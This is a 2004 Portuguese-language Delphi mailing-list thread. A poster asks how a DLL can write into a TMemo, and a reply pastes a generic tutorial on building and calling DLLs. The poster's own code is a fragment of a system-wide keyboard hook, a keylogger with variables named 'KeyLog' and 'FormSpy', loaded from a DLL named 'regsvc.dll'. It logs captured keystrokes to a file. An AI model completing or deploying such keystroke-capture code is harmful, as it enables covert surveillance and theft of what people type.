Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao contrário :( __________________________________________ David Leão Alves Administrador de Banco de Dados Governo do Estado do Amapá Secretaria de Estado do Meio Ambiente - SEMA Av. Mendonça Furtado, 53 - Centro / Macapá-AP 212-5318 - 212-5378 212-5303 [EMAIL PROTECTED] www.sema.ap.gov.br -------Mensagem original------- De: [EMAIL PROTECTED] Data: 09/29/04 13:44:19 Para: [EMAIL PROTECTED] Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo ! Não dá para o Memo pegar do arquivo texto? Sávio Cler ICQ 142428832 www.sgm.rg3.net [EMAIL PROTECTED] Sto A. de Pádua - Rio de Janeiro Contato Pessoal: (22)9812-0656 ~ ~ ( @ @ ) -------o0Oo-(_)-oO0o------- Precisando de dicas? www.deephi.hpg.com.br --------------------------- Mais de 30000 downloads ---------ooO---Ooo--------- ----- Original Message ----- From: "David Leão " <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]>; <[EMAIL PROTECTED]> Sent: Wednesday, September 29, 2004 12:44 PM Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo ! Caro Abensur, Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que estou tentando fazer, mas realmente o que eu quero, não consta nesse tutorial que vc enviou. na verdade não tem como eu escrever de "dentro" da Dll no memo que está na minha aplicação?? Abaixo segue o código do que eu quero fazer.: Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso eu quero que ela escreva em um memo que se encontra na aplicação que usa a dll. o nome da minha dll é regsvc.dll {Declaração das variáveis globais da unit} Var FormSpy: TFormSpy; IdKeyLog: HHOOK; KeyLogDLL: LongWord; KeyLogHookProc: FARPROC; {Evento OnCreate do Form} IdKeyLog := 0; KeylogDLL := LoadLibrary('regsvc.dll'); KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc'); IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0); {Função dentro da dll} Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT Stdcall; Var b1, b2: Boolean; ArqLog: TextFile; Begin If (code <> HC_NOREMOVE) And (lParam < 0) Then Begin AssignFile(ArqLog, arq); Try If fileexists(arq) Then Append(ArqLog) Else ReWrite(ArqLog); If wParamOld = 219 Then Begin If (wShift) Then Begin Case wParam Of 65: Begin Write(ArqLog, 'à'); // Escreve num TXT >> Deveria escrever num memo dentro da minha aplicação wParam := 0; wParamOld := 0; End; 69: Begin Write(ArqLog, 'è'); wParam := 0; wParamOld := 0; End; Else wParamOld := 0; End; End; Exports KeyboardHookProc; Begin End. ===================== Bom o que eu quero realmente é fazer essa rotina escrever num memo que se encontra dentro da minha aplicação ao invés de escrever num arquivo de texto Agradeço se vc puder me ajudar. __________________________________________ David Leão Alves Administrador de Banco de Dados Governo do Estado do Amapá Secretaria de Estado do Meio Ambiente - SEMA Av. Mendonça Furtado, 53 - Centro / Macapá-AP 212-5318 - 212-5378 212-5303 [EMAIL PROTECTED] www.sema.ap.gov.br -------Mensagem original------- De: [EMAIL PROTECTED] Data: 09/29/04 10:54:54 Para: [EMAIL PROTECTED] Assunto: Re: [DELPHI-Total] DLL escrevendo em um TMemo ! Seguem duas dicas: Como criar e usar DLLs e Colocando funções em uma DLL Como criar e usar DLLs Esta é uma outra dúvida bastante freqüente que chega a nós. "Como posso usar uma DLL ?", "Como posso criar uma DLL ?", "Ei, moço! Pra quê serve uma DLL ? Pois bem, DLL ou Dynamic Link Libraries, permitem que um conjunto de funções desenvolvidas em uma linguagem possam ser utilizadas em programas desenvolvidos em outras linguagens. Você pode, por exemplo, criar uma DLL em Delphi com um conjunto de funções e utilizá-la em aplicativos desenvolvidos em C++ ou Visual Basic, por exemplo. Agora, vamos começar criando uma DLL: Selecione o item New do Menu File, para exibir a caixa de diálogo New Items. Agora, selecione o item DLL e clique em OK, para gerar o código principal da DLL, que se apresenta a seguir: library Project1; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM DLL, pass string information using PChar or ShortString parameters. } uses SysUtils, Classes; begin end. Em muitas situações, inclusive esta, o arquivo DELPHIMM.DLL deve ser distribuído junto à sua aplicação. Uma outra observação muito importante, para que você possa escrever suas DLLs, você deve ter conhecimentos na Linguagem Object Pascal. Vamos continuar criando nossa DLL, pois é ela que iremos usar mais para frente. Apenas como exemplificação, vamos criar uma função que receba como parâmetros dois números reais e retorne o maior deles. Function Max (a b : double ) : double ; Export ; stdcall ; begin If (a > b) then Result :=a else Result := b ; end ; Export = indica que a função poderá ser chamada por outros aplicativos. Stdcall = permite que aplicativos desenvolvidos em outras linguagens façam chamadas à função. Após serem feitas estas alterações e salvar o projeto com o nome MAXDLL, nossa DLL ficará assim: library Project1; { Important note about DLL memory management: ShareMem must be the first unit in your library's USES clause AND your project's (select Project-View Source) USES clause if your DLL exports any procedures or functions that pass strings as parameters or function results. This applies to all strings passed to and from your DLL--even those that are nested in records and classes. ShareMem is the interface unit to the BORLNDMM.DLL shared memory manager, which must be deployed along with your DLL. To avoid using BORLNDMM DLL, pass string information using PChar or ShortString parameters. } uses SysUtils, Classes; function Max(a, b : double):double:expert:stdcall: begin if (a > b) then result:= a else result := b; end; exports Max index 1; begin end. Você pode compilar uma DLL, assim como a um projeto no Delphi, e distribuir livremente. PS: Você não pode executar uma DLL pelo Delphi, através do RUN do Menu Run, pois não se trata de uma aplicação. Mais à frente, você perceberá que uma DLL pode usar formulários e objetos definidos em outras unidades. Iremos, agora, chamar uma DLL, a partir de outra aplicação. Neste exemplo que iremos montar, iremos usar: um formulário, duas caixas de texto (os quais o usuário irá digitar dois números reais), um botão de comando. unit usadll; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) Label1: TLabel; Label2: TLabel; Button1: TButton; Edit1: TEdit; Edit2: TEdit; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; function Max(a, b : double):double;stdcall; var Form1: TForm1; implementation {$R *.DFM} function Max(a, b : double):double;external 'MaxDLL'; procedure TForm1.Button1Click(Sender: TObject); var x, y, resultado : double; begin x := StrToFloat(Edit1.Text); y := StrToFloat(Edit2.Text); resultado := Max(x,y); ShowMessage('Valor Máximo ' +FloatToStr(resultado)); end; end. PS: A função Max está declarada na seção interface e implementada na seção implementation, ou seja, a função está implementada em uma DLL. Colocando funções em uma DLL Edite diretamente no DPR, e depois salve como Funcoes.dpr: Library Funcoes; Uses SysUtils,WinTypes,WinProcs; { Uma função que tira os espaços no início e no final de uma string } Function Trim(J:String):String; Export; Begin While J[Length(J)]=#32 do Dec(J[0]); If Length(J)>1 then While (J[1]=' ') do Begin Delete(J,1,1); If Length(J)<=1 then J:=''; end; Result:=J; end; Exports { Torna visivel para os programas } Trim; Begin End. Para usar num programa: Unit Unit1; Interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormClick(Sender: TObject); private { Private declarations } public { Public declarations } end; Var Form1: TForm1; Implementation { Declara a funcao } Function Trim(J:String):String; External 'funcoes.dll'; {$R *.DFM} Procedure TForm1.FormClick(Sender: TObject); begin Caption:=Trim(' Visite sempre o Delphi Club '); { Note os espacos } end; ----- Original Message ----- From: David Leão To: Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] com.br ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] br ; Delphi - [EMAIL PROTECTED] Sent: Wednesday, September 29, 2004 11:09 AM Subject: [DELPHI-Total] DLL escrevendo em um TMemo ! Olá Caros Amigos, Coma fazer para que uma função dentro de uma Dll escreva textos em um TMemo na Minha Aplicação.? Alguem tem um exemplo, tutorial ou apostila que fale sobre Dll?? Agradeço quem pudr me enviar .. []'s __________________________________________ David Leão Alves Administrador de Banco de Dados Governo do Estado do Amapá Secretaria de Estado do Meio Ambiente - SEMA Av. Mendonça Furtado, 53 - Centro / Macapá-AP 212-5318 - 212-5378 212-5303 [EMAIL PROTECTED] www.sema.ap.gov.br [As partes desta mensagem que não continham texto foram removidas] --------------------------------------------------- Divulgue o Grupo Dephi-Total Um favor para todos! --------------------------------------------------- Responda sempre que souber, lembre-se: Um dia pode ser você --------------------------------------------------- Para cancelar sua assinatura, envie um e-mail para: [EMAIL PROTECTED] --------------------------------------------------- Yahoo! Grupos, um serviço oferecido por: ---------------------------------------------------------------------------- - Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-total/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. [As partes desta mensagem que não continham texto foram removidas] --------------------------------------------------- Divulgue o Grupo Dephi-Total Um favor para todos! --------------------------------------------------- Responda sempre que souber, lembre-se: Um dia pode ser você --------------------------------------------------- Para cancelar sua assinatura, envie um e-mail para: [EMAIL PROTECTED] --------------------------------------------------- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- <<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>> Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Yahoo! Grupos, um serviço oferecido por: ---------------------------------------------------------------------------- ---- Links do Yahoo! Grupos a.. Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ b.. Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do Yahoo!. -- <<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>> Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos
[As partes desta mensagem que não continham texto foram removidas] -- <<<<< FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM >>>>> Para ver as mensagens antigas, acesse: http://br.groups.yahoo.com/group/delphi-br/messages Para falar com o moderador, envie um e-mail para: [EMAIL PROTECTED] ou [EMAIL PROTECTED] Links do Yahoo! Grupos <*> Para visitar o site do seu grupo na web, acesse: http://br.groups.yahoo.com/group/delphi-br/ <*> Para sair deste grupo, envie um e-mail para: [EMAIL PROTECTED] <*> O uso que você faz do Yahoo! Grupos está sujeito aos: http://br.yahoo.com/info/utos.html